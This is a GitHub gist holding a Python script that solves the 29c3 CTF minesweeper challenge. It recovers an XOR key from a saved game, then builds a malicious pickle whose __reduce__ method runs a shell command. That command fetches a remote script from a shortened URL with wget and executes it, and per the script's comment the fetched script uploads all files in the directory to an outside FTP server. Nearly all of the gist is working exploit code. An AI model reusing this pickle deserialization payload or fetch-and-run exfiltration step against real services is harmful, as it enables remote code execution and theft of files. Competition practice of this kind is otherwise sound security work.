Skip to content

Instantly share code, notes, and snippets.

@moshekaplan
Created February 10, 2013 06:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moshekaplan/4748645 to your computer and use it in GitHub Desktop.
Save moshekaplan/4748645 to your computer and use it in GitHub Desktop.
Code to solve 29c3ctf's minesweeper challenge.
"""
Steps:
1) Save the game before anything happens
2) Solve the game to get the list of mines, as y,x coordinates
3) Reconstruct the savegame
4) XOR the decoded savegame and the reconstructed save game to get the key
5) Build an exploit to steal the entire key.
6) Build an exploit to grab the flag
"""
import base64
import pickle
import hashlib
from minesweeper import Field as F
# Step 1: Savegame:
#Note: This must be modified per game
savegame = "4R7S9j+y2SaWg6ec+fYI8NwxLnOfe6/nbKBbFKk59x4Y0B6maMh6D7kiJZAQEk8w8CC46/KARp/cGEMSzYYMBKt4sz4v1x2/jmLxwFMwqB7I9KE5xQH1I5+dd2lMk+YnuR+NjYQDnqKOVcSVYRGl0EgSybKSqePFXBZo2Unp7ooJx8JveqsQ1mpJiZll9ZhM1KRavCyurptcH9nFCymTdOGlsFT3CYxKcGvPDuyUGyRQ3xnE1nNAjs+z77RDkeqyRQyu59I3neaOdsjmhNuAoLizKZiXm0osDiUrL3l3JoWzKyeh2mECmyXFNadbPshOXZJSQ1ZwGaqSrg=="
# Step 2: Mines!
#Note: This must be modified per game
mines = [(0, 3), (1, 10), (2, 13), (3, 5), (4, 4), (4, 12), (5, 13), (7, 11), (8, 8), (9, 4), (9, 12), (9, 13), (10, 10), (10, 11), (10, 12), (11, 2), (13, 6), (13, 15), (14, 0), (15, 5)]
# Step 3: Build a fake savegame:
field = F(16,16,20)
# Replace the mines with our own
field.mines = sorted(mines)
SECRET = "4n71cH3aT"
plaintext = SECRET + hashlib.sha1( field.save() ).digest() + field.save()
# Step 4: Obtain the key:
ciphertext = base64.b64decode(savegame)
def big_xor(src, key):
if len(src) != len(key):
raise Exception("Not equal! %d and %d" % (len(src), len(cipher) ) )
result = ""
for i, byte in enumerate(src):
result += chr(ord(byte) ^ ord(key[i % 4096]))
return result
key = big_xor(ciphertext, plaintext)
# Step 5: Build exploit
# Downloads a python script with wget, which then uploads all files in the dir to the remote FTP server
class Payload(dict):
def __reduce__(self):
import subprocess
return subprocess.Popen, ('wget http://bit.ly/VGyVgY && python VGyVgY',0, None, None, None, None, None, False, True)
payload = pickle.dumps(Payload(), 1)
exploit = SECRET + hashlib.sha1(payload).digest() + payload
# Now encode it
if len(exploit) > len(key) and len(key) < 4096:
raise Exception("Not enough key bytes! %d %d" % (len(exploit), len(key)) )
encrypted = ""
for i, byte in enumerate(exploit):
encrypted += chr(ord(byte) ^ ord(key[i % 4096]))
encoded = base64.standard_b64encode(encrypted)
# Step 6: Load it!
print encoded
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment